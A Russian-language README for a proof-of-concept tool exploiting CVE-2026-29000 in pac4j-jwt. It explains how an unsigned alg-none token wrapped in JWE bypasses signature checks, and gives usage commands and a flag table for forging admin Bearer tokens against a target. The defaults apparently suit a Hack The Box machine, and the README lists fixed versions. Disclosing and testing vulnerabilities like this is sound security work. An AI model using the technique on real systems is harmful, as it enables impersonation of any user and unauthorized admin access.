
CVE-2026-29000 - pac4j-jwt (< 4.5.9 / < 5.7.9 / < 6.3.3) JwtAuthenticator обход аутентификации PoC
JwtAuthenticator в pac4j-jwtДоказательство концепции для CVE-2026-29000, обхода аутентификации в компоненте pac4j-jwt JwtAuthenticator (CVSS 10.0, Критический).
Скрипт создает токен, который выдает себя за любого пользователя с любой ролью — без знания ни одного секрета — при условии, что цель раскрывает свой RSA открытый ключ.
[!WARNING] Этот инструмент предоставляется только для образовательных целей и авторизованного тестирования безопасности. Он был написан для решения машины Hack The Box "Principal", и настройки по умолчанию (
iss,role,kid) подобраны под эту машину. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение.
Версии pac4j-jwt < 4.5.9, < 5.7.9 и < 6.3.3 содержат логическую ошибку в JwtAuthenticator при обработке зашифрованных JWT (JWE).
Когда JwtAuthenticator расшифровывает JWE, он пытается разобрать внутренний токен как SignedJWT. Если внутренний токен является неподписанным PlainJWT (alg: none), объект SignedJWT возвращается null, и из-за логической ошибки путь проверки подписи полностью пропускается. Затем аутентификатор создает профиль пользователя непосредственно из непроверенных утверждений.
Другими словами, внешнее шифрование JWE — которое требует только открытый ключ сервера — ошибочно принимается за доказательство подлинности, поэтому любой злоумышленник, который может прочитать открытый ключ, может создавать полностью доверенные токены.
/api/auth/jwks).PlainJWT (alg: none) с выбранными злоумышленником утверждениями (sub, role, iss, …).PlainJWT в JWE-конверт, зашифрованный открытым ключом цели.Bearer-токен. Уязвимый JwtAuthenticator расшифровывает его, пропускает проверку подписи и доверяет поддельным утверждениям.requirements.txt:pip install -r requirements.txt
(requests, jwcrypto, cryptography)
python3 exploit.py -u <username> [options]
Вы должны указать либо --target (для получения JWKS по сети), либо --jwks-file (для локальной загрузки).
Создать admin-токен, получив открытый ключ от цели, и вывести его в stdout:
python3 exploit.py -t http://target:8080 -u admin
Создать токен, затем автоматически проверить его на защищенном эндпоинте:
python3 exploit.py -t http://target:8080 -u admin \
--verify-endpoint /api/settings -v
Использовать локально сохраненный JWKS и сохранить токен в файл:
python3 exploit.py --jwks-file jwks.json -u admin -o token.jwe
Обновите org.pac4j:pac4j-jwt до исправленной версии:
Выпущено под лицензией MIT.
| Флаг | Описание | По умолчанию |
|---|
-t, --target | Базовый URL цели (например, http://host:8080) | — |
--jwks-url | Путь к эндпоинту JWKS | /api/auth/jwks |
--jwks-file | Загрузить JWKS из локального файла вместо получения от --target | — |
-u, --username | Значение утверждения sub (обязательно) | — |
--role | Значение утверждения role | ROLE_ADMIN |
--iss | Значение утверждения iss | principal-platform |
--exp | Срок действия токена в секундах | 3600 |
--verify-endpoint | Защищенный эндпоинт для проверки поддельного токена (например, /api/settings) | — |
-k, --insecure | Отключить проверку сертификата TLS | off |
-o, --output | Записать поддельный JWE в файл вместо stdout | stdout |
-v, --verbose | Вывести полезную нагрузку поддельного JWT в stderr | off |